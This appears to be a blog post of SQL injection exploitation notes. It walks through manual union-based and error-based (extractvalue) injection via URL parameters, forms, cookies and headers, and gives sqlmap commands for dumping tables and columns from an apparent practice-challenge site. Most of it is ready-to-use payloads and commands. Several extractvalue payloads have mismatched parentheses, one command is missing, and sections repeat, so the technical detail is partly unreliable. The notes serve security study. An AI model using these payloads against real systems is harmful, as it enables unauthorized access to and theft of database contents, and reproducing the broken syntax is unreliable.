SQL injection Manual method & automation method of Exploitation:

SQL injection Manual method & automation method of Exploitation:

SQL-Injection:
              Finding the injection point.
              Finding the query vulnerability.{ ', " , \ , ') , ") }
              Fixing & balancing the query.
              Exploiting the database.           
              
Injection point:
                                     GET 
                                     POST 
                                     COOKIES 
                                     HEADER 
GET Method:
                 Attacker use to attack using URL parameter.
 Step 1: Identify the injection point.
                 Step 2: Balance the query. (--+ used to balance the query)
                 Step 3: Identify the number of col in given table (order by using n-1).
                 Step 4: Identify the vulnerable col. (using union all select 1,2,3)
                 Step 5: Exploitation of database.

1. How to identify the database name,table name, col data in Get based SQLI Manual method?

Step 1: Identify the injection point.
Step 2: Balance the query. (--+ used to balance the query)
Step 3: Identify the number of col in given table (order by using n-1).
Step 4: Identify the vulnerable col. (using union all select 1,2,3)
Step 5: To identify the current database name:
                    use the database() in the vul col.
          1) To identify all the databases in the given table.
                    Using the schema_name function we can identify the database name present on the table.
                    EX: select GROUP_CONCAT(schema_name SEPARATOR',') From information_schema.schemata 
                    output: leettime_761wHole
          2)To identify all tables in the database   
                    Using TABLE_NAME function we can identify all the tables in a particular database.                
                    Syntax: 
                        select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "DATABASE_NAME"  
                    EX: select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "leettime_761wHole"  
          3)To identify all the col in the given all table in the database
                    Syntax:
                       select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "DATABASE_NAME"

                    EX: select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "leettime_761wHole"

How to identify the database name,table name, col data in Get based SQLI Manual method?

CMD:

Extracting tables: 
sqlmap -u http://www.leettime.net/sqlninja.com/tasks/deathrow_ch3.php?id=1 -D “particular_DB_NAME” --tables

Extracting database: 

Extracting col: 
sqlmap -u http://www.leettime.net/sqlninja.com/tasks/deathrow_ch3.php?id=1 -D “particular_DB_NAME” --columns

Double Query situation:
                    "order by" work by union operation not work.
How to extract the data in database in double query situation?
  1) To identify all the databases in the given table.
                    Using the schema_name function we can identify the database name present on the table.
                    EX: extractvalue(0x0a,(select GROUP_CONCAT(schema_name SEPARATOR',') From information_schema.schemata))  
                    output: leettime_761wHole
          2)To identify all tables in the database   
                    Using TABLE_NAME function we can identify all the tables in a particular database.                
                    Syntax: 
                        extractvalue(0x0a,select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "DATABASE_NAME"  ))
                    EX: select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "leettime_761wHole"  
          3)To identify all the col in the given all table in the database
                    Syntax:
                       extractvalue(0x0a,select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "DATABASE_NAME"))

                    EX:extractvalue(0x0a, select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "leettime_761wHole"))


What is XPATH & how to retrieve the data in xpath ?
 Using extractValue() function we can extract the data in a double query situation.


  • MySQL extractValue function retrieves data from an attribute that contains XML data
  • first argument is the attribute name, e.g., doc
  • second argument is an XPath expression enclosed in single quotes
  • e.g.
    select extractValue(doc,'/book/title') as Title from x;
POST Method:
                 Attacker use any html form that execute sql query .
 Step 1: Identify the injection point.
                 Step 2: Balance the query. (-- used to balance the query)
                 Step 3: Identify the number of col in given table (order by using n-1).
                 Step 4: Identify the vulnerable col. (using union all select 1,2,3)
                 Step 5: Exploitation of database.



COOKIE Method:
                 Attacker has to find the cookie parameter .
 Step 1: Identify the injection point using "\".
                 Step 2: Balance the query. (-- or { #} used to balance the query)
                 Step 3: Identify the number of col in given table (order by using n-1).
                 Step 4: Identify the vulnerable col. (using union all select 1,2,3)

                 Step 5: Exploitation of database.

HEADER Method:
                 Attacker has to find the Header parameter.such as user-agent | referrer | User-agent | Location | Host
 Step 1: Identify the injection point.
                 Step 2: Balance the query. (--+ used to balance the query)
                 Step 3: Identify the number of col in given table (order by using n-1).
                 Step 4: Identify the vulnerable col. (using union all select 1,2,3)

                 Step 5: Exploitation of database.

Comments

Popular posts from this blog

System Malware Analysis

Malware Sample Analysis (29F228F3375C489A8A6E31203AB25787)

Static Analysis